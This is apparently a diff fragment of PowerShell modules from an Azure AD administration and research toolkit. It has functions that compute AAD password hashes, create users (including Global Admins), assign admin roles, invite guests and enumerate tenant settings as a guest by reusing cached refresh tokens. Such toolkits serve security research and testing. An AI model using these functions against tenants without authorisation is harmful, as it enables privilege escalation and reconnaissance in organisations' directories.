||||
|
||||
$PropBlock += "</c:Value>"
|
||||
}
|
||||
default { $PropBlock += "<c:Value i:type=""d:string"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
|
||||
}
|
||||
|
||||
$PropBlock+="</c:KeyValueOfstringanyType>"
|
||||
|
||||
return $PropBlock
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a AADHash for given password
|
||||
Function Create-AADHash {
|
||||
|
||||
[cmdletbinding()]
|
||||
|
||||
param(
|
||||
[parameter(Mandatory=$false)]
|
||||
[String]$Password,
|
||||
[parameter(Mandatory=$false)]
|
||||
[String]$Hash,
|
||||
[parameter(Mandatory=$false)]
|
||||
[int]$Iterations=1000
|
||||
)
|
||||
Process
|
||||
{
|
||||
if([string]::IsNullOrEmpty($Hash))
|
||||
{
|
||||
# Calculate MD4 from the password (Unicode)
|
||||
$md4 = (Get-MD4 -bArray ([System.Text.UnicodeEncoding]::Unicode.GetBytes($password))).ToUpper()
|
||||
|
||||
}
|
||||
elseif($Hash.Length -ne 32)
|
||||
{
|
||||
Throw "Invalid hash length!"
|
||||
}
|
||||
else
|
||||
{
|
||||
$md4=$Hash
|
||||
}
|
||||
|
||||
$md4bytes = ([System.Text.UnicodeEncoding]::Unicode.GetBytes($md4))
|
||||
|
||||
|
||||
# Generate random 10-byte salt
|
||||
$salt=@()
|
||||
for($count = 0; $count -lt 10 ; $count++)
|
||||
{
|
||||
$salt += Get-Random -Minimum 0 -Maximum 0xFF
|
||||
}
|
||||
|
||||
# Calculate hash using 1000 iterations and SHA256
|
||||
$pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($md4bytes,[byte[]]$salt,$Iterations,"SHA256")
|
||||
$bytes = $pbkdf2.GetBytes(32)
|
||||
|
||||
# Convert to hex strings
|
||||
$hexbytes=Convert-ByteArrayToHex $bytes
|
||||
$hexsalt=Convert-ByteArrayToHex $salt
|
||||
|
||||
# Create the return value
|
||||
$retVal = "v1;PPH1_MD4,$hexsalt,$Iterations,$hexbytes;"
|
||||
|
||||
# Verbose
|
||||
Write-Debug $retVal
|
||||
|
||||
# Return
|
||||
return $retVal
|
||||
}
|
||||
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,701 @@
|
||||
|
||||
|
||||
# Get users using Azure Management API
|
||||
# Oct 23rd 2018
|
||||
function Get-AzureManagementUsers
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$response=Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users?searchText=&top=100&nextLink=&orderByThumbnails=false&maxThumbnailCount=999&filterValue=All&state=All&adminUnit="
|
||||
return $response.items
|
||||
}
|
||||
}
|
||||
|
||||
# Creates an user using Azure Management API
|
||||
# Oct 23rd 2018
|
||||
function New-AzureManagementUser
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$UserPrincipalnName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$DisplayName,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Password,
|
||||
[switch]$GlobalAdmin
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$pwdProfile=@{
|
||||
"forceChangePasswordNextLogin"="False"
|
||||
"password"=$Password
|
||||
}
|
||||
|
||||
$rolesEntity=""
|
||||
if($GlobalAdmin)
|
||||
{
|
||||
$rolesEntity=@{
|
||||
"adminType"="3" # Global Admin
|
||||
"enabledRoles"=""
|
||||
}
|
||||
}
|
||||
|
||||
$Body=@{
|
||||
"displayName" = $DisplayName
|
||||
"userPrincipalName" = $UserPrincipalnName
|
||||
"passwordProfile" = $pwdProfile
|
||||
"rolesEntity" = $rolesEntity
|
||||
|
||||
}
|
||||
|
||||
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "UserDetails" -Body $Body -Method "Post"
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Removes the given user using Azure Management API
|
||||
# Oct 23rd 2018
|
||||
function Remove-AzureManagementUser
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$ObjectId
|
||||
)
|
||||
Process
|
||||
{
|
||||
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/$ObjectId" -Method Delete
|
||||
}
|
||||
}
|
||||
|
||||
# Removes the given users using Azure Management API
|
||||
# Oct 23rd 2018
|
||||
function Remove-AzureManagementUsers
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string[]]$ObjectIds
|
||||
)
|
||||
Process
|
||||
{
|
||||
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users" -Method Delete -Body $ObjectIds
|
||||
}
|
||||
}
|
||||
|
||||
# Checks whether the external user is unique or already exists in AAD
|
||||
# Oct 23rd 2018
|
||||
function Is-ExternalUserUnique
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$EmailAddress
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/IsUPNUniqueOrPending/$EmailAddress"
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Invites an external user to AAD
|
||||
# Oct 23rd 2018
|
||||
function New-GuestInvitation
|
||||
{
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Invites an user to AAD
|
||||
|
||||
.DESCRIPTION
|
||||
Invites an user to AAD using Azure Management API
|
||||
|
||||
.Parameter AccessToken
|
||||
Auth Token
|
||||
|
||||
.Parameter EmailAddress
|
||||
Email address of the guest user
|
||||
|
||||
.Parameter Message
|
||||
The message to be sent with the invitation
|
||||
|
||||
.Example
|
||||
PS C:\>$cred=Get-Credential
|
||||
PS C:\>Get-AADIntAccessTokenForAADIAMAPI -Credentials $cred
|
||||
PS C:\>New-AADIntGuestInvitation -EmailAddress someone@company.com -Message "Welcome to our Tenant!"
|
||||
|
||||
accountEnabled : True
|
||||
usageLocation :
|
||||
mailNickname : someone_company.com#EXT#
|
||||
passwordProfile :
|
||||
rolesEntity :
|
||||
selectedGroupIds :
|
||||
streetAddress :
|
||||
city :
|
||||
state :
|
||||
country :
|
||||
telephoneNumber :
|
||||
mobile :
|
||||
physicalDeliveryOfficeName :
|
||||
postalCode :
|
||||
authenticationPhoneNumber :
|
||||
authenticationAlternativePhoneNumber :
|
||||
authenticationEmail :
|
||||
strongAuthenticationDetail : @{verificationDetail=}
|
||||
defaultImageUrl :
|
||||
ageGroup :
|
||||
consentProvidedForMinor :
|
||||
legalAgeGroupClassification :
|
||||
objectId : e550c8f5-aff3-4eea-9d68-cff019fa850e
|
||||
objectType : User
|
||||
displayName : someone
|
||||
userPrincipalName : someone_company.com#EXT#@company.onmicrosoft.com
|
||||
thumbnailPhoto@odata.mediaContentType :
|
||||
givenName :
|
||||
surname :
|
||||
mail : someone@company.com
|
||||
dirSyncEnabled :
|
||||
alternativeSecurityIds : {}
|
||||
signInNamesInfo : {}
|
||||
signInNames : {someone_company.com#EXT#@company.onmicrosoft.com}
|
||||
ownedDevices :
|
||||
jobTitle :
|
||||
department :
|
||||
displayUserPrincipalName :
|
||||
hasThumbnail : False
|
||||
imageUrl :
|
||||
imageDataToUpload :
|
||||
source :
|
||||
sources :
|
||||
sourceText :
|
||||
userFlags :
|
||||
deletionTimestamp :
|
||||
permanentDeletionTime :
|
||||
alternateEmailAddress :
|
||||
manager :
|
||||
userType : Guest
|
||||
isThumbnailUpdated :
|
||||
isAuthenticationContactInfoUpdated :
|
||||
searchableDeviceKey : {}
|
||||
displayEmail :
|
||||
creationType : Invitation
|
||||
userState : PendingAcceptance
|
||||
otherMails : {someone@company.com}
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$EmailAddress,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$Message
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$UserToInvite = @{
|
||||
"displayName"=$EmailAddress
|
||||
"userPrincipalName" = $EmailAddress
|
||||
"givenName" = "null"
|
||||
"surname" = "null"
|
||||
"jobTitle" = "null"
|
||||
"department" = "null"
|
||||
"passwordProfile" = ""
|
||||
"selectedGroupIds" = ""
|
||||
"rolesEntity" = ""
|
||||
}
|
||||
$Body=@{
|
||||
"userToInvite"=$UserToInvite
|
||||
"inviteMessage"=$Message
|
||||
}
|
||||
|
||||
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/Invite" -Method "Put" -Body $Body
|
||||
}
|
||||
}
|
||||
|
||||
# Sets the user as Global Admin
|
||||
# Oct 23rd 2018
|
||||
function Set-AzureManagementAdminRole
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$ObjectId
|
||||
|
||||
)
|
||||
Process
|
||||
{
|
||||
$Role=@{
|
||||
"62e90394-69f5-4237-9190-012177145e10" = "25b21f4a-977e-49f2-9de4-2c885f30be5d"
|
||||
}
|
||||
|
||||
|
||||
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Roles/User/$ObjectId" -Method "Put" -Body $Role
|
||||
}
|
||||
}
|
||||
|
||||
# Gets azure activity log
|
||||
# Oct 23rd 2018
|
||||
function Get-AzureActivityLog
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[datetime]$Start=$((Get-Date).AddDays(-30)),
|
||||
[Parameter(Mandatory=$False)]
|
||||
[datetime]$End=$(Get-Date)
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$Body=@{
|
||||
"startDateTime" = $Start.ToUniversalTime().ToString("o")
|
||||
"endDateTime" = $End.ToUniversalTime().ToString("o")
|
||||
}
|
||||
|
||||
|
||||
|
||||
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Reports/SignInEventsV2" -Method Post -Body $Body
|
||||
|
||||
|
||||
# Return
|
||||
$response.items
|
||||
}
|
||||
}
|
||||
|
||||
# Get user's Azure AD tenants
|
||||
# Jul 11th 2019
|
||||
function Get-UserTenants
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Returns tenants the given user is member of
|
||||
|
||||
.DESCRIPTION
|
||||
Returns tenants the given user is member of using Azure Management API
|
||||
|
||||
.Example
|
||||
$at=Get-AccessTokenForAzureMgmtAPI -Credentials $cred
|
||||
PS C:\> Get-UserTenants -AccessToken $at
|
||||
Get-AADIntLoginInformation -Domain outlook.com
|
||||
|
||||
id : 3087e687-0d37-4c21-87c5-ecac88f0374a
|
||||
domainName : company.onmicrosoft.com
|
||||
displayName : Company Ltd
|
||||
isSignedInTenant : True
|
||||
tenantCategory :
|
||||
|
||||
id : 2968be53-ede5-4e30-844a-96d66479fb10
|
||||
domainName : company2.onmicrosoft.com
|
||||
displayName : Company2
|
||||
isSignedInTenant : False
|
||||
tenantCategory :
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource azureportal
|
||||
|
||||
$response=Call-AzureManagementAPI -AccessToken $AccessToken -Command "directories/List"
|
||||
return $response.tenants
|
||||
}
|
||||
}
|
||||
|
||||
# Gets Azure Tenant information as a guest user
|
||||
# Jun 11th 2020
|
||||
function Get-AzureInformation
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets some Azure Tenant information.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets some Azure Tenant information, including certain tenant settings and ALL domains. The access token MUST be
|
||||
stored to cache! Works also for guest users.
|
||||
|
||||
The Tenant is not required for Access Token but is recommended as some tenants may have MFA.
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForAzureCoreManagement -Tenant 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd -SaveToCache
|
||||
|
||||
Tenant User Resource Client
|
||||
------ ---- -------- ------
|
||||
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd https://management.core.windows.net/ d3590ed6-52b3-4102-aeff-aad2292ab01c
|
||||
|
||||
PS C:\>Get-AADIntAzureTenants
|
||||
|
||||
Id Country Name Domains
|
||||
-- ------- ---- -------
|
||||
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
|
||||
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
|
||||
|
||||
PS C:\>Get-AADIntAzureInformation -Tenant
|
||||
|
||||
objectId : 6e3846ee-e8ca-4609-a3ab-f405cfbd02cd
|
||||
displayName : Company Ltd
|
||||
usersCanRegisterApps : True
|
||||
isAnyAccessPanelPreviewFeaturesAvailable : False
|
||||
showMyGroupsFeature : False
|
||||
myGroupsFeatureValue :
|
||||
myGroupsGroupId :
|
||||
myGroupsGroupName :
|
||||
showMyAppsFeature : False
|
||||
myAppsFeatureValue :
|
||||
myAppsGroupId :
|
||||
myAppsGroupName :
|
||||
showUserActivityReportsFeature : False
|
||||
userActivityReportsFeatureValue :
|
||||
userActivityReportsGroupId :
|
||||
userActivityReportsGroupName :
|
||||
showRegisteredAuthMethodFeature : False
|
||||
registeredAuthMethodFeatureValue :
|
||||
registeredAuthMethodGroupId :
|
||||
registeredAuthMethodGroupName :
|
||||
usersCanAddExternalUsers : False
|
||||
limitedAccessCanAddExternalUsers : False
|
||||
restrictDirectoryAccess : False
|
||||
groupsInAccessPanelEnabled : False
|
||||
selfServiceGroupManagementEnabled : True
|
||||
securityGroupsEnabled : False
|
||||
usersCanManageSecurityGroups :
|
||||
office365GroupsEnabled : False
|
||||
usersCanManageOfficeGroups :
|
||||
allUsersGroupEnabled : False
|
||||
scopingGroupIdForManagingSecurityGroups :
|
||||
scopingGroupIdForManagingOfficeGroups :
|
||||
scopingGroupNameForManagingSecurityGroups :
|
||||
scopingGroupNameForManagingOfficeGroups :
|
||||
objectIdForAllUserGroup :
|
||||
allowInvitations : False
|
||||
isB2CTenant : False
|
||||
restrictNonAdminUsers : False
|
||||
enableLinkedInAppFamily : 0
|
||||
toEnableLinkedInUsers : {}
|
||||
toDisableLinkedInUsers : {}
|
||||
linkedInSelectedGroupObjectId :
|
||||
linkedInSelectedGroupDisplayName :
|
||||
allowedActions : @{application=System.Object[]; domain=System.Object[]; group=System.Object[]; serviceprincipal=System.Object[];
|
||||
tenantdetail=System.Object[]; user=System.Object[]; serviceaction=System.Object[]}
|
||||
skuInfo : @{aadPremiumBasic=False; aadPremium=False; aadPremiumP2=False; aadBasic=False; aadBasicEdu=False; aadSmb=False;
|
||||
enterprisePackE3=False; enterprisePremiumE5=False}
|
||||
domains : {@{authenticationType=Managed; availabilityStatus=; isAdminManaged=True; isDefault=False; isDefaultForCloudRedirections=False;
|
||||
isInitial=False; isRoot=True; isVerified=True; name=company.com; supportedServices=System.Object[]; forceDeleteState=; state=;
|
||||
passwordValidityPeriodInDays=; passwordNotificationWindowInDays=}, @{authenticationType=Managed; availabilityStatus=;
|
||||
isAdminManaged=True; isDefault=False; isDefaultForCloudRedirections=False; isInitial=True; isRoot=True; isVerified=True;
|
||||
name=company.onmicrosoft.com;}...}
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Tenant
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$guestAccessPolicies = @{
|
||||
"a0b1b346-4d3e-4e8b-98f8-753987be4970" = "Full"
|
||||
"10dae51f-b6af-4016-8d66-8c2a99b929b3" = "Normal"
|
||||
"2af84b1e-32c8-42b7-82bc-daa82404023b" = "Restricted"
|
||||
}
|
||||
}
|
||||
Process
|
||||
{
|
||||
# Get from cache
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Get the refreshtoken
|
||||
$refresh_token=$script:refresh_tokens["d3590ed6-52b3-4102-aeff-aad2292ab01c-https://management.core.windows.net/"]
|
||||
|
||||
if([string]::IsNullOrEmpty($refresh_token))
|
||||
{
|
||||
Throw "No refreshtoken found! Use Get-AADIntAccessTokenForAzureCoreManagement with -SaveToCache switch."
|
||||
}
|
||||
|
||||
# Get the tenants
|
||||
if([string]::IsNullOrEmpty($Tenant))
|
||||
{
|
||||
$tenants = Get-AzureTenants $AccessToken
|
||||
}
|
||||
else
|
||||
{
|
||||
$tenants = @(New-Object psobject -Property @{"Id" = $Tenant})
|
||||
}
|
||||
|
||||
# Loop through the tenants
|
||||
foreach($tenant_info in $tenants)
|
||||
{
|
||||
# Create a new AccessToken for Azure AD management portal API
|
||||
$access_token = Get-AccessTokenWithRefreshToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
|
||||
|
||||
# Directory information included in properties
|
||||
#$directory = Call-AzureAADIAMAPI -AccessToken $access_token -Command "Directory"
|
||||
$properties = Call-AzureAADIAMAPI -AccessToken $access_token -Command "Directories/Properties"
|
||||
if($properties.restrictNonAdminUsers -ne "True") # If restricted, don't bother trying
|
||||
{
|
||||
$permissions = Call-AzureAADIAMAPI -AccessToken $access_token -Command "Permissions?forceRefresh=false"
|
||||
}
|
||||
$skuinfo = Call-AzureAADIAMAPI -AccessToken $access_token -Command "TenantSkuInfo"
|
||||
|
||||
# Create a new AccessToken for graph.windows.net
|
||||
$access_token2 = Get-AccessTokenWithRefreshToken -Resource "https://graph.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
|
||||
|
||||
# Get the domain details
|
||||
#$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/myorganization/domains?api-version=1.61-internal" -Headers @{"Authorization"="Bearer $access_token2"}
|
||||
#$domains = $response.Value
|
||||
|
||||
# Create a new AccessToken for graph.microsoft.com
|
||||
$access_token3 = Get-AccessTokenWithRefreshToken -Resource "https://graph.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -TenantId $tenant_info.Id -RefreshToken $refresh_token -SaveToCache $true
|
||||
|
||||
# Get the directory quota
|
||||
$response2 = Invoke-RestMethod -UseBasicParsing -Uri "https://main.iam.ad.ext.azure.com/api/MsGraph/v1.0/organization/?`$select=directorySizeQuota" -Headers @{"Authorization" = "Bearer $access_token3"}
|
||||
|
||||
# Get the domain details
|
||||
$domains = Get-MSGraphDomains -AccessToken $access_token3
|
||||
|
||||
# Get the tenant authorization policy
|
||||
try
|
||||
{
|
||||
$authPolicy = Get-TenantAuthPolicy -AccessToken $access_token3
|
||||
$guestAccess = $guestAccessPolicies[$authPolicy.guestUserRoleId]
|
||||
}
|
||||
catch{}
|
||||
|
||||
# Get Conditional access policies
|
||||
$CAPolicy = Get-ConditionalAccessPolicies -AccessToken $access_token2
|
||||
|
||||
# Construct the return value
|
||||
$properties | Add-Member -NotePropertyName "allowedActions" -NotePropertyValue $permissions.allowedActions
|
||||
$properties | Add-Member -NotePropertyName "skuInfo" -NotePropertyValue $skuInfo
|
||||
$properties | Add-Member -NotePropertyName "domains" -NotePropertyValue $domains
|
||||
$properties | Add-Member -NotePropertyName "directorySizeQuota" -NotePropertyValue $response2.value[0].directorySizeQuota
|
||||
$properties | Add-Member -NotePropertyName "authorizationPolicy" -NotePropertyValue $authPolicy
|
||||
$properties | Add-Member -NotePropertyName "conditionalAccessPolicy" -NotePropertyValue $CAPolicy
|
||||
$properties | Add-Member -NotePropertyName "guestAccess" -NotePropertyValue $guestAccess
|
||||
|
||||
# Return
|
||||
$properties
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets Azure Tenant authentication methods
|
||||
# Jun 30th 2020
|
||||
function Get-TenantAuthenticationMethods
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Azure tenant authentication methods.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets Azure tenant authentication methods.
|
||||
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForAADIAMAPI
|
||||
|
||||
Tenant User Resource Client
|
||||
------ ---- -------- ------
|
||||
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd 74658136-14ec-4630-ad9b-26e160ff0fc6 d3590ed6-52b3-4102-aeff-aad2292ab01c
|
||||
|
||||
PS C:\>Get-AADIntTenantAuthenticationMethods
|
||||
|
||||
id : 297c50d5-e789-40f7-8931-b3694713cb4d
|
||||
type : 6
|
||||
state : 0
|
||||
includeConditions : {@{type=group; id=9202b94b-5381-4270-a3cb-7fcf0d40fef1; isRequired=False; useForSignIn=True}}
|
||||
voiceSettings :
|
||||
fidoSettings : @{allowSelfServiceSetup=False; enforceAttestation=False; keyRestrictions=}
|
||||
enabled : True
|
||||
method : FIDO2 Security Key
|
||||
|
||||
id : 3d2c4b8f-f362-4ce4-8f4b-cc8726b80106
|
||||
type : 8
|
||||
state : 1
|
||||
includeConditions : {@{type=group; id=all_users; isRequired=False; useForSignIn=True}}
|
||||
voiceSettings :
|
||||
fidoSettings :
|
||||
enabled : False
|
||||
method : Microsoft Authenticator passwordless sign-in
|
||||
|
||||
id : d7716fe0-7c2e-4b52-a5cd-394f8999176b
|
||||
type : 5
|
||||
state : 1
|
||||
includeConditions : {@{type=group; id=all_users; isRequired=False; useForSignIn=True}}
|
||||
voiceSettings :
|
||||
fidoSettings :
|
||||
enabled : False
|
||||
method : Text message
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Get the authentication methods
|
||||
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "AuthenticationMethods/AuthenticationMethodsPolicy"
|
||||
|
||||
$methods = $response.authenticationMethods
|
||||
foreach($method in $methods)
|
||||
{
|
||||
$strType="unknown"
|
||||
switch($method.type)
|
||||
{
|
||||
6 {$strType = "FIDO2 Security Key"}
|
||||
8 {$strType = "Microsoft Authenticator passwordless sign-in"}
|
||||
5 {$strType = "Text message"}
|
||||
}
|
||||
|
||||
$method | Add-Member -NotePropertyName "enabled" -NotePropertyValue ($method.state -eq 0)
|
||||
$method | Add-Member -NotePropertyName "method" -NotePropertyValue $strType
|
||||
|
||||
}
|
||||
|
||||
return $methods
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Gets Azure Tenant applications
|
||||
# Nov 11th 2020
|
||||
function Get-TenantApplications
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets Azure tenant applications.
|
||||
|
||||
.DESCRIPTION
|
||||
Gets Azure tenant applications.
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
|
||||
|
||||
Tenant User Resource Client
|
||||
------ ---- -------- ------
|
||||
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd https://management.core.windows.net/ d3590ed6-52b3-4102-aeff-aad2292ab01c
|
||||
|
||||
PS C:\>Get-AADIntTenantApplications
|
||||
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$body = @{
|
||||
"accountEnabled" = $null
|
||||
"isAppVisible" = $null
|
||||
"appListQuery"= 0
|
||||
"top" = 999
|
||||
"loadLogo" = $false
|
||||
"putCachedLogoUrlOnly" = $true
|
||||
"nextLink" = ""
|
||||
"usedFirstPartyAppIds" = $null
|
||||
"__ko_mapping__" = @{
|
||||
"ignore" = @()
|
||||
"include" = @("_destroy")
|
||||
"copy" = @()
|
||||
"observe" = @()
|
||||
"mappedProperties" = @{
|
||||
"accountEnabled" = $true
|
||||
"isAppVisible" = $true
|
||||
"appListQuery" = $true
|
||||
"searchText" = $true
|
||||
"top" = $true
|
||||
"loadLogo" = $true
|
||||
"putCachedLogoUrlOnly" = $true
|
||||
"nextLink" = $true
|
||||
"usedFirstPartyAppIds" = $true
|
||||
}
|
||||
"copiedProperties" = @{}
|
||||
}
|
||||
}
|
||||
|
||||
# Get the applications
|
||||
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "ManagedApplications/List" -Body $body -Method Post
|
||||
|
||||
return $response.appList
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Get the status of AAD Connect
|
||||
# Jan 7th 2021
|
||||
function Get-AADConnectStatus
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Shows the status of Azure AD Connect (AAD Connect).
|
||||
|
||||
.DESCRIPTION
|
||||
Shows the status of Azure AD Connect (AAD Connect).
|
||||
|
||||
.Example
|
||||
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
|
||||
PS C:\>Get-AADIntAADConnectStatus
|
||||
|
||||
verifiedDomainCount : 4
|
||||
verifiedCustomDomainCount : 3
|
||||
federatedDomainCount : 2
|
||||
numberOfHoursFromLastSync : 0
|
||||
dirSyncEnabled : True
|
||||
dirSyncConfigured : True
|
||||
passThroughAuthenticationEnabled : True
|
||||
seamlessSingleSignOnEnabled : True
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "74658136-14ec-4630-ad9b-26e160ff0fc6" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Get the applications
|
||||
$response = Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Directories/ADConnectStatus"
|
||||
|
||||
return $response
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,624 @@
|
||||
|
||||
|
||||
# Creates a web session with given cookie header
|
||||
function Create-WebSession
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$SetCookieHeader,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Domain
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
|
||||
# login.live.com: MSPRequ=lt=1540361812&co=1&id=N; secure= ;path=/;HTTPOnly=;version=1,uaid=bf4b7f37ec1d4084aa68952b9edebb6b; domain=login.live.com;secure= ;path=/;HTTPOnly= ;version=1,MSPOK=$uuid-f4f5ef25-7343-4de8-84cb-266ea1b47bc2; domain=login.live.com;secure= ;path=/;HTTPOnly= ;version=1
|
||||
if($domain -eq "login.live.com")
|
||||
{
|
||||
$SetCookie = $SetCookieHeader.Split(";,")
|
||||
foreach($Cookie in $SetCookie)
|
||||
{
|
||||
$name = $Cookie.Split("=")[0].trim()
|
||||
$value = $Cookie.Substring($name.Length+1)
|
||||
switch($name)
|
||||
{
|
||||
"secure" {}
|
||||
"path" {}
|
||||
"HTTPOnly" {}
|
||||
"domain" {}
|
||||
"version" {}
|
||||
default
|
||||
{
|
||||
$webCookie = New-Object System.Net.Cookie
|
||||
$webCookie.Name = $name
|
||||
$webCookie.Value = $value
|
||||
$webCookie.Domain = $Domain
|
||||
$session.Cookies.Add($webCookie)
|
||||
Write-Verbose "COOKIE [$Domain]: $webCookie"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
elseif($domain.EndsWith(".sharepoint.com")) # Sharepoint
|
||||
{
|
||||
$SetCookie = $SetCookieHeader.Replace("HttpOnly","|").Split("|")
|
||||
foreach($Cookie in $SetCookie)
|
||||
{
|
||||
if(![String]::IsNullOrEmpty($Cookie))
|
||||
{
|
||||
$Cookie = $Cookie.Split(";")[0].trim()
|
||||
$name = $Cookie.Split("=")[0].trim()
|
||||
$value = $Cookie.Substring($name.Length+1)
|
||||
|
||||
# Strip the trailing semi colon
|
||||
$value=$value.Split(";")[0]
|
||||
|
||||
$webCookie = New-Object System.Net.Cookie
|
||||
$webCookie.Name = $name
|
||||
$webCookie.Value = $value
|
||||
$webCookie.Domain = $Domain
|
||||
$session.Cookies.Add($webCookie)
|
